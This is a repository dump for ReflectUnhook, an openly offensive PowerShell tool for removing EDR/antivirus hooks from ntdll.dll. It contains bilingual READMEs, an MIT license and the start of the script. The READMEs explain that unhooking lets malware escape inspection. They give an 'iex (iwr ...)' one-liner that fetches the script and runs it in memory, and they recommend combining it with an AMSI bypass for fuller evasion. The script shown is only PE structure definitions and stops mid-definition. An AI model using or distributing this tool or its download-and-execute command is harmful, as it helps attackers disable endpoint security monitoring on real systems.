├── LICENSE
├── README.es.md
├── README.md
└── ReflectUnhook.ps1
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2024 Anibal
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.es.md:
--------------------------------------------------------------------------------
1 | [](https://github.com/BlackShell256/ReflectUnhook/blob/main/LICENSE)
2 | [](https://t.me/MalwareBit)
3 | [](https://www.linkedin.com/in/anibal-5a3870278/)
4 | [](https://www.youtube.com/@MalwarebitTeam)
5 |
6 | | Español | [English](https://github.com/BlackShell256/ReflectUnhook?tab=readme-ov-file) |
7 | | --- | --- |
8 |
9 | # ReflectUnhook
10 | ReflectUnhook es una herramienta avanzada escrita en PowerShell que utiliza Reflection para acceder a la API de Windows y funciones de bajo nivel. Esta herramienta se enfoca en limpiar los hooks presentes en el módulo ntdll.dll de la memoria, restaurando su estado original mediante la lectura de ntdll.dll directamente desde el disco.
11 |
12 | ---
13 |
14 | ## ¿Qué son los hooks?
15 |
16 | Las herramientas de detección y respuesta en endpoints (EDR) emplean una técnica llamada hooking para supervisar funciones críticas del sistema en las DLL de los procesos que están en ejecución. El hooking consiste en modificar dinámicamente las DLL del sistema en memoria, lo que permite a los EDR interceptar y analizar el flujo de ejecución de un programa para evaluar si su comportamiento es legítimo o malicioso.
17 |
18 | El proceso funciona de la siguiente manera: los EDR alteran las instrucciones iniciales de ciertas funciones dentro de las DLL. Cuando estas funciones son llamadas, el flujo de ejecución del programa es desviado hacia el código del EDR, que generalmente reside en una DLL propia cargada en el proceso. Una vez redirigido, el EDR examina los parámetros de las funciones interceptadas para determinar si están siendo utilizadas de manera segura o potencialmente peligrosa. Si se considera que la operación es legítima, el EDR permite que el programa retome su flujo normal de ejecución y la función se completa sin interrupciones.
19 |
20 | Para evadir la detección de un EDR, los atacantes pueden recurrir a una técnica conocida como unhooking. Este método restaura el contenido de la sección de código (.text) de la DLL afectada a su estado original, eliminando cualquier modificación realizada por el EDR. Con esto, el malware puede ejecutar sus funciones sin ser interceptado ni analizado.
21 |
Funcion hookeada
22 | 
23 |
Funcion limpia luego de ejecutar ReflectUnhook
24 | 
25 |
26 | ---
27 |
28 | ## Características principales
29 |
30 | - **Reflection**: Permite acceder a funciones de bajo nivel de la API de Windows sin necesidad de tocar el disco usando el comando (Cmdlet) "Add-Type".
31 | - **Eliminación de hooks**: Limpia los hooks en `ntdll.dll` utilizados por soluciones AV/EDR.
32 | - **Lectura desde el disco**: Recupera el estado original del módulo directamente desde su archivo en el sistema.
33 |
34 | ---
35 |
36 | ## Uso
37 | Para utilizar ReflectUnhook, ejecute los siguientes comandos:
38 |
39 | Con este comando ejecutaremos ReflectUnhook en memoria
40 | ```
41 | iex (iwr -UseBasicParsing https://raw.githubusercontent.com/BlackShell256/ReflectUnhook/refs/heads/main/ReflectUnhook.ps1)
42 | ```
43 | Para ejecutar
44 | ```
45 | Invoke-ReflectUnhook
46 | ```
47 | Para obtener información detallada sobre la herramienta
48 | ```
49 | Invoke-ReflectUnhook -v
50 | ```
51 |
52 | ### Ejemplo de uso
53 | 
54 |
55 | ---
56 |
57 | Recomiendo usar ReflectUnhook + bypass de amsi para una evasion mas completa, puede usar [Null-AMSI](https://github.com/BlackShell256/Null-AMSI) (Mi herramienta personalizada de AMSI Bypass) o alguna de su preferencia
58 |
59 | ---
60 |
61 | ## Créditos
62 |
63 | * Parte del código de Reflection lo aprendí de Matt Graeber. [X/Twitter](https://x.com/mattifestation)
64 |
65 | * Gran parte del código es de la herramienta Invoke-ReflectivePEInjection de PowerSploit. [Github](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1)
66 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | [](https://github.com/BlackShell256/ReflectUnhook/blob/main/LICENSE)
2 | [](https://t.me/MalwareBit)
3 | [](https://www.linkedin.com/in/anibal-5a3870278/)
4 | [](https://www.youtube.com/@MalwarebitTeam)
5 |
6 | | English | [Español](README.es.md) |
7 | | --- | --- |
8 |
9 | # ReflectUnhook
10 | ReflectUnhook is an advanced tool written in PowerShell that uses Reflection to access the Windows API and low-level functions. This tool focuses on cleaning the hooks present in the ntdll.dll module from memory, restoring its original state by reading ntdll.dll directly from disk.
11 |
12 | ---
13 |
14 | ## ¿What are hooks?
15 |
16 | Endpoint detection and response (EDR) tools employ a technique called **hooking** to monitor critical system functions in the DLLs of running processes. Hooking involves dynamically modifying system DLLs in memory, which allows EDRs to intercept and analyze the execution flow of a program to assess whether its behavior is legitimate or malicious.
17 |
18 | The process works as follows: EDRs alter the initial instructions of certain functions within DLLs. When these functions are called, the program's execution flow is diverted to the EDR's code, which usually resides in a DLL of its own loaded into the process. Once redirected, the EDR examines the parameters of the intercepted functions to determine whether they are being used in a safe or potentially dangerous manner. If the operation is deemed legitimate, the EDR allows the program to resume its normal flow of execution and the function completes without interruption.
19 |
20 | To evade detection of an EDR, attackers can resort to a technique known as **unhooking**. This method restores the content of the code section (.text) of the affected DLL to its original state, removing any modifications made by the EDR. This allows the malware to execute its functions without being intercepted or analyzed.
21 |
Function hooked
22 | 
23 |
Clean function after running ReflectUnhook
24 | 
25 |
26 | ---
27 |
28 | ## Main features
29 |
30 | - **Reflection**: Allows access to low-level Windows API functions without touching the disk using the “Add-Type” (Cmdlet) command.
31 | - **Hooks removal**: Clears hooks in `ntdll.dll` used by AV/EDR solutions.
32 | - **Read from disk**: Retrieves the original state of the module directly from its file on the system.
33 |
34 | ---
35 |
36 | ## Usage
37 | To Use ReflectUnhook, run the following commands:
38 |
39 | With this command we will execute ReflectUnhook in memory
40 | ```
41 | iex (iwr -UseBasicParsing https://raw.githubusercontent.com/BlackShell256/ReflectUnhook/refs/heads/main/ReflectUnhook.ps1)
42 | ```
43 | For execute
44 | ```
45 | Invoke-ReflectUnhook
46 | ```
47 | To get verbose and more information about the tool
48 | ```
49 | Invoke-ReflectUnhook -v
50 | ```
51 |
52 | ### Usage example
53 | 
54 |
55 | ---
56 |
57 | ## Recommendation
58 | I recommend using ReflectUnhook + AMSI bypass for a more complete evasion, you can use [Null-AMSI](https://github.com/BlackShell256/Null-AMSI) (My custom AMSI Bypass tool) or one of your choice.
59 |
60 | ---
61 |
62 | ## Credits
63 |
64 | * Much of the code is from PowerSploit's Invoke-ReflectivePEInjection tool. [Github](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1)
65 |
66 | * Some of the Reflection code I learned from Matt Graeber. [X/Twitter](https://x.com/mattifestation)
67 |
68 |
--------------------------------------------------------------------------------
/ReflectUnhook.ps1:
--------------------------------------------------------------------------------
1 | Function Invoke-ReflectUnhook
2 | {
3 | [CmdletBinding()]
4 | param(
5 | )
6 |
7 | Set-StrictMode -Version 2
8 |
9 | Function Get-Win32Types
10 | {
11 | #Define all the structures/enums that will be used
12 | $Win32Types = New-Object System.Object
13 | $Domain = [AppDomain]::CurrentDomain
14 | $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
15 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
16 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
17 | $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
18 |
19 | #Enum MachineType
20 | $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
21 | $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
22 | $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
23 | $MagicType = $TypeBuilder.CreateType()
24 | $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType
25 |
26 | #Enum SubSystemType
27 | $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
28 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
29 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
30 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
31 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
32 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
33 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
34 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
35 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
36 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
37 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
38 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
39 | $SubSystemType = $TypeBuilder.CreateType()
40 | $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType
41 |
42 | #Enum DllCharacteristicsType
43 | $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
44 | $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
45 | $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
46 | $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
47 | $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
48 | $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
49 | $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
50 | $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
51 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
52 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
53 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
54 | $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
55 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
56 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
57 | $DllCharacteristicsType = $TypeBuilder.CreateType()
58 | $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType
59 |
60 | #Struct IMAGE_DATA_DIRECTORY
61 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
62 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
63 | ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
64 | ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
65 | $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
66 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY
67 |
68 | #Struct IMAGE_FILE_HEADER
69 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
70 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
71 | $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
72 | $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
73 | $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
74 | $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
75 | $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
76 | $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
77 | $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
78 | $IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
79 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER
80 |
81 | #Struct IMAGE_OPTIONAL_HEADER64
82 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
83 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
84 | ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
85 | ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
86 | ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
87 | ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
88 | ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
89 | ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
90 | ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
91 | ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
92 | ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
93 | ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
94 | ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
95 | ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
96 | ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
97 | ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
98 | ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
99 | ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
100 | ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
101 | ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
102 | ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
103 | ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
104 | ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
105 | ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
106 | ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
107 | ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
108 | ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
109 | ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
110 | ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
111 | ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
112 | ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
113 | ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
114 | ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
115 | ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
116 | ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
117 | ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
118 | ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
119 | ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
120 | ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
121 | ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
122 | ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
123 | ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
124 | ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
125 | ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
126 | ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
127 | ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
128 | ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
129 | $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
130 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64
131 |
132 | #Struct IMAGE_OPTIONAL_HEADER32
133 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
134 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
135 | ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
136 | ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
137 | ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
138 | ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
139 | ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
140 | ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
141 | ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
142 | ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
143 | ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
144 | ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
145 | ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
146 | ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
147 | ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
148 | ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
149 | ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
150 | ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
151 | ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
152 | ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
153 | ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
154 | ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
155 | ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
156 | ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
157 | ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
158 | ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
159 | ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
160 | ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
161 | ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
162 | ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
163 | ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
164 | ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
165 | ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
166 | ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
167 | ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
168 | ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
169 | ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
170 | ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
171 | ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
172 | ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
173 | ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
174 | ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
175 | ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
176 | ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
177 | ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
178 | ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
179 | ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
180 | ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
181 | $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
182 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32
183 |
184 | #Struct IMAGE_NT_HEADERS64
185 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
186 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
187 | $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
188 | $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
189 | $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
190 | $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
191 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
192 |
193 | #Struct IMAGE_NT_HEADERS32
194 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
195 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
196 | $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
197 | $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
198 | $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
199 | $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
200 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32
201 |
202 | #Struct IMAGE_DOS_HEADER
203 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
204 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
205 | $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
206 | $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
207 | $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
208 | $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
209 | $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
210 | $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
211 | $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
212 | $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
213 | $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
214 | $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
215 | $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
216 | $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
217 | $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
218 | $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null
219 |
220 | $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
221 | $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
222 | $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
223 | $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
224 | $e_resField.SetCustomAttribute($AttribBuilder)
225 |
226 | $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
227 | $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null
228 |
229 | $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
230 | $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
